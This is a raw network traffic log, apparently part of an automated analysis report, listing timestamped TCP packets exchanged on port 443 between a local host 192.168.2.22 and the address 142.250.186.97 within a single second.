Oct 24, 2024 08:59:14.189053059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.189065933 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.189127922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.189199924 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.189349890 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.189667940 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.189735889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.189753056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.191472054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.191550016 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.191562891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.191981077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.192044020 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.192056894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.192109108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.192166090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.192179918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.195703030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.195753098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.195765972 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.204308987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.204360962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.204372883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.205297947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.205353975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.205368042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.214349031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.214404106 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.214416981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.221529961 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.221595049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.221607924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.245343924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.245486021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.245491982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.245558977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.245618105 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.245769024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.246145010 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.246181011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.246198893 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.246208906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.246260881 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.246994972 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.247642994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.247694969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.247703075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.248195887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.248246908 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.248254061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.289958954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.290077925 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.290097952 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.306111097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.306281090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.306340933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.306740046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.306879997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.306896925 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.307152033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.307203054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.307216883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.308758020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.308804035 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.308820009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.309124947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.309169054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.309182882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.312685013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.312728882 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.312742949 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.321574926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.321616888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.321640968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.321657896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.321716070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.322158098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.331708908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.331768036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.331783056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.332731962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.332792044 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.338591099 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.347883940 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.347951889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.347964048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.348368883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.348432064 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.348444939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.559343100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.559444904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.581072092 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.581670046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.581718922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.581753016 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.581809044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.581883907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.582561970 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.582662106 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.582717896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.582740068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.583501101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.583554029 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.583564043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.584309101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.584350109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.584356070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.584376097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.584410906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.585277081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.585351944 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.585397959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.585407019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.586292982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.586328983 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.586349010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.586359024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.586399078 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.587270975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.587377071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.587424994 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.587433100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.588244915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.588293076 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.588294029 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.588308096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.588351011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.589042902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589086056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589143991 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.589159012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589858055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589900017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589903116 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.589914083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.589956999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.590590000 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.591774940 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.591803074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.591825008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.591834068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.591878891 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.591885090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.592222929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.592262030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.592284918 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.592300892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.592345953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.593046904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.593350887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.593391895 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.593411922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.593417883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.593465090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.594050884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.594131947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.594182014 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.594193935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.594769001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.594820976 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.594827890 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.595576048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.595616102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.595627069 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.595633984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.595690966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.596133947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.596204996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.596256971 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.596262932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.597103119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.597146034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.597156048 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.597163916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.597210884 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.597217083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598028898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598069906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598079920 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.598087072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598149061 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.598155022 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598742008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598792076 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598793983 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.598804951 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.598850965 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.599654913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.599720001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.599756002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.599767923 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.599773884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.599860907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.600640059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.600713015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.600753069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.600769997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.600776911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.600825071 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.601478100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.601536989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.601591110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.601598024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602333069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602369070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602382898 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.602390051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602442026 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602451086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.602458954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.602505922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.603192091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.603267908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.603319883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.612663984 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.612668037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.612677097 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.612708092 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.613331079 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.841897011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.841960907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.841994047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842019081 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.842024088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842057943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842082977 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.842724085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842772961 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842792988 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.842799902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.842835903 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.843260050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.843326092 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.843363047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.843405008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.843425035 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.843476057 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.844157934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.844216108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.844268084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.844274044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.844955921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.844993114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.845016956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.845022917 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.845060110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.845067978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.845982075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846029997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846048117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.846062899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846102953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.846107960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846927881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846971035 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.846988916 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.846995115 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.847032070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.847037077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.847897053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.847949028 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.847954988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.847994089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.848046064 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.848052979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.848778009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.848818064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.848836899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.848844051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.848875046 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.849416018 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.849494934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.849528074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.849545956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.849553108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.849597931 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.849603891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.850193024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.850231886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.850251913 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.850258112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.850303888 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.850317955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851095915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851152897 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851159096 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.851174116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851221085 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.851226091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851931095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851982117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.851985931 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.851996899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852041960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.852046967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852818012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852866888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852870941 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.852879047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852926016 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.852931023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.852987051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853032112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853044987 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.853051901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853092909 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.853763103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853837967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853877068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853899002 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.853905916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.853945971 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.853950977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.854639053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.854684114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.854695082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.854702950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.854748964 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.854754925 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855552912 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855598927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855607986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.855614901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855659008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.855664015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855694056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.855741024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.855747938 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.856462955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.856519938 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.856523037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.856538057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.856587887 CEST	49167	443	192.168.2.22	142.250.186.97
